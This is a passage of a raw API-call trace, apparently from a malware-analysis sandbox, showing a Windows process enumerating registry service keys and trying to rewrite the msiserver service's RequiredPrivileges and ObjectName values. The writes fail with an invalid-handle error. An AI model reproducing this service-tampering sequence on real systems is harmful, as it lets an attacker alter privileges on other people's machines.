hKey=0x150, dwIndex=0x84, lpName=0x2152850, cchName=0x104 | out: lpName="HomeGroupListener") returned 0x0 [0244.181] RegEnumKeyW (in: hKey=0x150, dwIndex=0x85, lpName=0x2152850, cchName=0x104 | out: lpName="HomeGroupProvider") returned 0x0 [0244.181] RegEnumKeyW (in: hKey=0x150, dwIndex=0x86, lpName=0x2152850, cchName=0x104 | out: lpName="HpSAMD") returned 0x0 [0244.181] RegEnumKeyW (in: hKey=0x150, dwIndex=0x87, lpName=0x2152850, cchName=0x104 | out: lpName="HTTP") returned 0x0 [0244.181] RegEnumKeyW (in: hKey=0x150, dwIndex=0x88, lpName=0x2152850, cchName=0x104 | out: lpName="hwpolicy") returned 0x0 [0244.181] RegEnumKeyW (in: hKey=0x150, dwIndex=0x89, lpName=0x2152850, cchName=0x104 | out: lpName="i8042prt") returned 0x0 [0244.181] RegEnumKeyW (in: hKey=0x150, dwIndex=0x8a, lpName=0x2152850, cchName=0x104 | out: lpName="iaStorV") returned 0x0 [0244.181] RegEnumKeyW (in: hKey=0x150, dwIndex=0x8b, lpName=0x2152850, cchName=0x104 | out: lpName="idsvc") returned 0x0 [0244.181] RegEnumKeyW (in: hKey=0x150, dwIndex=0x8c, lpName=0x2152850, cchName=0x104 | out: lpName="iirsp") returned 0x0 [0244.181] RegEnumKeyW (in: hKey=0x150, dwIndex=0x8d, lpName=0x2152850, cchName=0x104 | out: lpName="IKEEXT") returned 0x0 [0244.181] RegEnumKeyW (in: hKey=0x150, dwIndex=0x8e, lpName=0x2152850, cchName=0x104 | out: lpName="inetaccs") returned 0x0 [0244.181] RegEnumKeyW (in: hKey=0x150, dwIndex=0x8f, lpName=0x2152850, cchName=0x104 | out: lpName="intelide") returned 0x0 [0244.181] RegEnumKeyW (in: hKey=0x150, dwIndex=0x90, lpName=0x2152850, cchName=0x104 | out: lpName="intelppm") returned 0x0 [0244.181] RegEnumKeyW (in: hKey=0x150, dwIndex=0x91, lpName=0x2152850, cchName=0x104 | out: lpName="IPBusEnum") returned 0x0 [0244.182] RegEnumKeyW (in: hKey=0x150, dwIndex=0x92, lpName=0x2152850, cchName=0x104 | out: lpName="IpFilterDriver") returned 0x0 [0244.182] RegEnumKeyW (in: hKey=0x150, dwIndex=0x93, lpName=0x2152850, cchName=0x104 | out: lpName="iphlpsvc") returned 0x0 [0244.182] RegEnumKeyW (in: hKey=0x150, dwIndex=0x94, lpName=0x2152850, cchName=0x104 | out: lpName="IPMIDRV") returned 0x0 [0244.182] RegEnumKeyW (in: hKey=0x150, dwIndex=0x95, lpName=0x2152850, cchName=0x104 | out: lpName="IPNAT") returned 0x0 [0244.182] RegEnumKeyW (in: hKey=0x150, dwIndex=0x96, lpName=0x2152850, cchName=0x104 | out: lpName="IRENUM") returned 0x0 [0244.182] RegEnumKeyW (in: hKey=0x150, dwIndex=0x97, lpName=0x2152850, cchName=0x104 | out: lpName="isapnp") returned 0x0 [0244.182] RegEnumKeyW (in: hKey=0x150, dwIndex=0x98, lpName=0x2152850, cchName=0x104 | out: lpName="iScsiPrt") returned 0x0 [0244.182] RegEnumKeyW (in: hKey=0x150, dwIndex=0x99, lpName=0x2152850, cchName=0x104 | out: lpName="kbdclass") returned 0x0 [0244.182] RegEnumKeyW (in: hKey=0x150, dwIndex=0x9a, lpName=0x2152850, cchName=0x104 | out: lpName="kbdhid") returned 0x0 [0244.182] RegEnumKeyW (in: hKey=0x150, dwIndex=0x9b, lpName=0x2152850, cchName=0x104 | out: lpName="KeyIso") returned 0x0 [0244.182] RegEnumKeyW (in: hKey=0x150, dwIndex=0x9c, lpName=0x2152850, cchName=0x104 | out: lpName="KSecDD") returned 0x0 [0244.182] RegEnumKeyW (in: hKey=0x150, dwIndex=0x9d, lpName=0x2152850, cchName=0x104 | out: lpName="KSecPkg") returned 0x0 [0244.182] RegEnumKeyW (in: hKey=0x150, dwIndex=0x9e, lpName=0x2152850, cchName=0x104 | out: lpName="ksthunk") returned 0x0 [0244.183] RegEnumKeyW (in: hKey=0x150, dwIndex=0x9f, lpName=0x2152850, cchName=0x104 | out: lpName="KtmRm") returned 0x0 [0244.183] RegEnumKeyW (in: hKey=0x150, dwIndex=0xa0, lpName=0x2152850, cchName=0x104 | out: lpName="LanmanServer") returned 0x0 [0244.183] RegEnumKeyW (in: hKey=0x150, dwIndex=0xa1, lpName=0x2152850, cchName=0x104 | out: lpName="LanmanWorkstation") returned 0x0 [0244.183] RegEnumKeyW (in: hKey=0x150, dwIndex=0xa2, lpName=0x2152850, cchName=0x104 | out: lpName="ldap") returned 0x0 [0244.183] RegEnumKeyW (in: hKey=0x150, dwIndex=0xa3, lpName=0x2152850, cchName=0x104 | out: lpName="lltdio") returned 0x0 [0244.230] RegEnumKeyW (in: hKey=0x150, dwIndex=0xa4, lpName=0x2152850, cchName=0x104 | out: lpName="lltdsvc") returned 0x0 [0244.230] RegEnumKeyW (in: hKey=0x150, dwIndex=0xa5, lpName=0x2152850, cchName=0x104 | out: lpName="lmhosts") returned 0x0 [0244.230] RegEnumKeyW (in: hKey=0x150, dwIndex=0xa6, lpName=0x2152850, cchName=0x104 | out: lpName="Lsa") returned 0x0 [0244.230] RegEnumKeyW (in: hKey=0x150, dwIndex=0xa7, lpName=0x2152850, cchName=0x104 | out: lpName="LSI_FC") returned 0x0 [0244.230] RegEnumKeyW (in: hKey=0x150, dwIndex=0xa8, lpName=0x2152850, cchName=0x104 | out: lpName="LSI_SAS") returned 0x0 [0244.231] RegEnumKeyW (in: hKey=0x150, dwIndex=0xa9, lpName=0x2152850, cchName=0x104 | out: lpName="LSI_SAS2") returned 0x0 [0244.231] RegEnumKeyW (in: hKey=0x150, dwIndex=0xaa, lpName=0x2152850, cchName=0x104 | out: lpName="LSI_SCSI") returned 0x0 [0244.231] RegEnumKeyW (in: hKey=0x150, dwIndex=0xab, lpName=0x2152850, cchName=0x104 | out: lpName="luafv") returned 0x0 [0244.231] RegEnumKeyW (in: hKey=0x150, dwIndex=0xac, lpName=0x2152850, cchName=0x104 | out: lpName="Mcx2Svc") returned 0x0 [0244.231] RegEnumKeyW (in: hKey=0x150, dwIndex=0xad, lpName=0x2152850, cchName=0x104 | out: lpName="megasas") returned 0x0 [0244.231] RegEnumKeyW (in: hKey=0x150, dwIndex=0xae, lpName=0x2152850, cchName=0x104 | out: lpName="MegaSR") returned 0x0 [0244.231] RegEnumKeyW (in: hKey=0x150, dwIndex=0xaf, lpName=0x2152850, cchName=0x104 | out: lpName="Microsoft SharePoint Workspace Audit Service") returned 0x0 [0244.231] RegEnumKeyW (in: hKey=0x150, dwIndex=0xb0, lpName=0x2152850, cchName=0x104 | out: lpName="MMCSS") returned 0x0 [0244.231] RegEnumKeyW (in: hKey=0x150, dwIndex=0xb1, lpName=0x2152850, cchName=0x104 | out: lpName="Modem") returned 0x0 [0244.231] RegEnumKeyW (in: hKey=0x150, dwIndex=0xb2, lpName=0x2152850, cchName=0x104 | out: lpName="monitor") returned 0x0 [0244.231] RegEnumKeyW (in: hKey=0x150, dwIndex=0xb3, lpName=0x2152850, cchName=0x104 | out: lpName="mouclass") returned 0x0 [0244.231] RegEnumKeyW (in: hKey=0x150, dwIndex=0xb4, lpName=0x2152850, cchName=0x104 | out: lpName="mouhid") returned 0x0 [0244.232] RegEnumKeyW (in: hKey=0x150, dwIndex=0xb5, lpName=0x2152850, cchName=0x104 | out: lpName="mountmgr") returned 0x0 [0244.232] RegEnumKeyW (in: hKey=0x150, dwIndex=0xb6, lpName=0x2152850, cchName=0x104 | out: lpName="MozillaMaintenance") returned 0x0 [0244.232] RegEnumKeyW (in: hKey=0x150, dwIndex=0xb7, lpName=0x2152850, cchName=0x104 | out: lpName="mpio") returned 0x0 [0244.232] RegEnumKeyW (in: hKey=0x150, dwIndex=0xb8, lpName=0x2152850, cchName=0x104 | out: lpName="mpsdrv") returned 0x0 [0244.232] RegEnumKeyW (in: hKey=0x150, dwIndex=0xb9, lpName=0x2152850, cchName=0x104 | out: lpName="MpsSvc") returned 0x0 [0244.232] RegEnumKeyW (in: hKey=0x150, dwIndex=0xba, lpName=0x2152850, cchName=0x104 | out: lpName="MRxDAV") returned 0x0 [0244.232] RegEnumKeyW (in: hKey=0x150, dwIndex=0xbb, lpName=0x2152850, cchName=0x104 | out: lpName="mrxsmb") returned 0x0 [0244.232] RegEnumKeyW (in: hKey=0x150, dwIndex=0xbc, lpName=0x2152850, cchName=0x104 | out: lpName="mrxsmb10") returned 0x0 [0244.232] RegEnumKeyW (in: hKey=0x150, dwIndex=0xbd, lpName=0x2152850, cchName=0x104 | out: lpName="mrxsmb20") returned 0x0 [0244.232] RegEnumKeyW (in: hKey=0x150, dwIndex=0xbe, lpName=0x2152850, cchName=0x104 | out: lpName="msahci") returned 0x0 [0244.232] RegEnumKeyW (in: hKey=0x150, dwIndex=0xbf, lpName=0x2152850, cchName=0x104 | out: lpName="msdsm") returned 0x0 [0244.232] RegEnumKeyW (in: hKey=0x150, dwIndex=0xc0, lpName=0x2152850, cchName=0x104 | out: lpName="MSDTC") returned 0x0 [0244.232] RegEnumKeyW (in: hKey=0x150, dwIndex=0xc1, lpName=0x2152850, cchName=0x104 | out: lpName="MSDTC Bridge 3.0.0.0") returned 0x0 [0244.233] RegEnumKeyW (in: hKey=0x150, dwIndex=0xc2, lpName=0x2152850, cchName=0x104 | out: lpName="MSDTC Bridge 4.0.0.0") returned 0x0 [0244.233] RegEnumKeyW (in: hKey=0x150, dwIndex=0xc3, lpName=0x2152850, cchName=0x104 | out: lpName="Msfs") returned 0x0 [0244.233] RegEnumKeyW (in: hKey=0x150, dwIndex=0xc4, lpName=0x2152850, cchName=0x104 | out: lpName="mshidkmdf") returned 0x0 [0244.233] RegEnumKeyW (in: hKey=0x150, dwIndex=0xc5, lpName=0x2152850, cchName=0x104 | out: lpName="msisadrv") returned 0x0 [0244.233] RegEnumKeyW (in: hKey=0x150, dwIndex=0xc6, lpName=0x2152850, cchName=0x104 | out: lpName="MSiSCSI") returned 0x0 [0244.233] RegEnumKeyW (in: hKey=0x150, dwIndex=0xc7, lpName=0x2152850, cchName=0x104 | out: lpName="msiserver") returned 0x0 [0244.233] RegOpenKeyExW (in: hKey=0x150, lpSubKey="msiserver", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0x154) returned 0x0 [0244.233] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x2152850) returned 1 [0244.233] RegCloseKey (hKey=0x150) returned 0x0 [0244.233] SHRegDuplicateHKey (hkey=0x80000002) returned 0x80000002 [0244.233] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="BCD00000000") returned 0x0 [0244.233] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="HARDWARE") returned 0x0 [0244.233] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="SAM") returned 0x0 [0244.234] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="SECURITY") returned 0x0 [0244.234] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="SOFTWARE") returned 0x0 [0244.234] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName="SYSTEM") returned 0x0 [0244.234] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SYSTEM", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0xc4) returned 0x0 [0244.234] RegCloseKey (hKey=0x80000002) returned 0x0 [0244.234] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="ControlSet001") returned 0x0 [0244.234] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="ControlSet002") returned 0x0 [0244.234] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="MountedDevices") returned 0x0 [0244.234] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="RNG") returned 0x0 [0244.234] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="Select") returned 0x0 [0244.234] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName="Setup") returned 0x0 [0244.234] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x6, lpName=0x2152850, cchName=0x104 | out: lpName="Software") returned 0x0 [0244.234] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x7, lpName=0x2152850, cchName=0x104 | out: lpName="WPA") returned 0x0 [0244.235] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x8, lpName=0x2152850, cchName=0x104 | out: lpName="CurrentControlSet") returned 0x0 [0244.235] RegOpenKeyExW (in: hKey=0xc4, lpSubKey="CurrentControlSet", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0x150) returned 0x0 [0244.235] RegCloseKey (hKey=0xc4) returned 0x0 [0244.235] RegEnumKeyW (in: hKey=0x150, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="Control") returned 0x0 [0244.235] RegEnumKeyW (in: hKey=0x150, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="Enum") returned 0x0 [0244.235] RegEnumKeyW (in: hKey=0x150, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="Hardware Profiles") returned 0x0 [0244.235] RegEnumKeyW (in: hKey=0x150, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="Policies") returned 0x0 [0244.235] RegEnumKeyW (in: hKey=0x150, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="services") returned 0x0 [0244.235] RegOpenKeyExW (in: hKey=0x150, lpSubKey="services", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0xc4) returned 0x0 [0244.235] RegCloseKey (hKey=0x150) returned 0x0 [0244.235] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Data") returned 0x0 [0244.235] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Networking") returned 0x0 [0244.235] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Networking 4.0.0.0") returned 0x0 [0244.236] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Data Provider for Oracle") returned 0x0 [0244.236] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Data Provider for SqlServer") returned 0x0 [0244.236] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Memory Cache 4.0") returned 0x0 [0244.236] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x6, lpName=0x2152850, cchName=0x104 | out: lpName=".NETFramework") returned 0x0 [0244.236] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x7, lpName=0x2152850, cchName=0x104 | out: lpName="1394ohci") returned 0x0 [0244.236] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x8, lpName=0x2152850, cchName=0x104 | out: lpName="ACPI") returned 0x0 [0244.237] RegEnumValueA (in: hKey=0x154, dwIndex=0x0, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DisplayName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0244.237] RegEnumValueA (in: hKey=0x154, dwIndex=0x1, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0244.237] RegEnumValueA (in: hKey=0x154, dwIndex=0x2, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Description", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0244.237] RegEnumValueA (in: hKey=0x154, dwIndex=0x3, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0244.237] RegEnumValueA (in: hKey=0x154, dwIndex=0x4, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ErrorControl", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0244.237] RegEnumValueA (in: hKey=0x154, dwIndex=0x5, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Start", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0244.237] RegEnumValueA (in: hKey=0x154, dwIndex=0x6, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Type", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0244.238] RegEnumValueA (in: hKey=0x154, dwIndex=0x7, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0244.238] RegEnumValueA (in: hKey=0x154, dwIndex=0x8, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ServiceSidType", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0244.238] RegEnumValueA (in: hKey=0x154, dwIndex=0x9, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0244.238] RegEnumValueA (in: hKey=0x154, dwIndex=0xa, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FailureActions", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0244.238] RegEnumValueA (in: hKey=0x154, dwIndex=0xb, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0244.238] RegEnumValueA (in: hKey=0x154, dwIndex=0xc, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0244.238] RegEnumValueA (in: hKey=0x154, dwIndex=0xd, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0244.238] RegEnumValueA (in: hKey=0x154, dwIndex=0xe, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0244.238] RegEnumValueA (in: hKey=0x154, dwIndex=0xf, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x103 [0244.238] RegSetValueExA (hKey=0x0, lpValueName="RequiredPrivileges", Reserved=0x0, dwType=0x7, lpData=0x29f0048, cbData=0x195) returned 0x6 [0244.238] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x29f0048) returned 1 [0244.238] RegSetValueExA (hKey=0x0, lpValueName="RequiredPrivileges ", Reserved=0x0, dwType=0x1, lpData=0x21f1c40, cbData=0x1) returned 0x6 [0244.238] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c40) returned 1 [0244.238] RegEnumValueA (in: hKey=0x154, dwIndex=0x0, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DisplayName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0244.239] RegEnumValueA (in: hKey=0x154, dwIndex=0x1, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0244.239] RegEnumValueA (in: hKey=0x154, dwIndex=0x2, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Description", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0244.239] RegEnumValueA (in: hKey=0x154, dwIndex=0x3, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0244.239] RegEnumValueA (in: hKey=0x154, dwIndex=0x4, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ErrorControl", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0244.239] RegEnumValueA (in: hKey=0x154, dwIndex=0x5, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Start", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0244.239] RegEnumValueA (in: hKey=0x154, dwIndex=0x6, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Type", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0244.239] RegEnumValueA (in: hKey=0x154, dwIndex=0x7, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0244.239] RegEnumValueA (in: hKey=0x154, dwIndex=0x8, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ServiceSidType", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0244.239] RegEnumValueA (in: hKey=0x154, dwIndex=0x9, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0244.239] RegEnumValueA (in: hKey=0x154, dwIndex=0xa, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FailureActions", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0244.239] RegEnumValueA (in: hKey=0x154, dwIndex=0xb, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0244.239] RegEnumValueA (in: hKey=0x154, dwIndex=0xc, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0244.240] RegEnumValueA (in: hKey=0x154, dwIndex=0xd, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0244.240] RegEnumValueA (in: hKey=0x154, dwIndex=0xe, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0244.240] RegEnumValueA (in: hKey=0x154, dwIndex=0xf, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x103 [0244.240] RegSetValueExA (hKey=0x0, lpValueName="ObjectName", Reserved=0x0, dwType=0x1, lpData=0x21f1a00, cbData=0xc) returned 0x6 [0244.240] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0244.240] RegSetValueExA (hKey=0x0, lpValueName="ObjectName ", Reserved=0x0, dwType=0x1, lpData=0x21f1a00, cbData=0x1) returned 0x6 [0244.240] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0244.240] RegEnumValueA (in: hKey=0x154, dwIndex=0x0, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DisplayName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0244.240] RegEnumValueA (in: hKey=0x154, dwIndex=0x1, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0244.240] RegEnumValueA (in: hKey=0x154, dwIndex=0x2, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Description", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0244.240] RegEnumValueA (in: hKey=0x154, dwIndex=0x3, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0244.240] RegEnumValueA (in: hKey=0x154, dwIndex=0x4, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ErrorControl", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0244.240] RegEnumValueA (in: hKey=0x154, dwIndex=0x5, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Start", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0244.240] RegEnumValueA (in: hKey=0x154, dwIndex=0x6, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Type", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0244.241] RegEnumValueA (in: hKey=0x154, dwIndex=0x7, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0244.241] RegEnumValueA (in: hKey=0x154, dwIndex=0x8, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 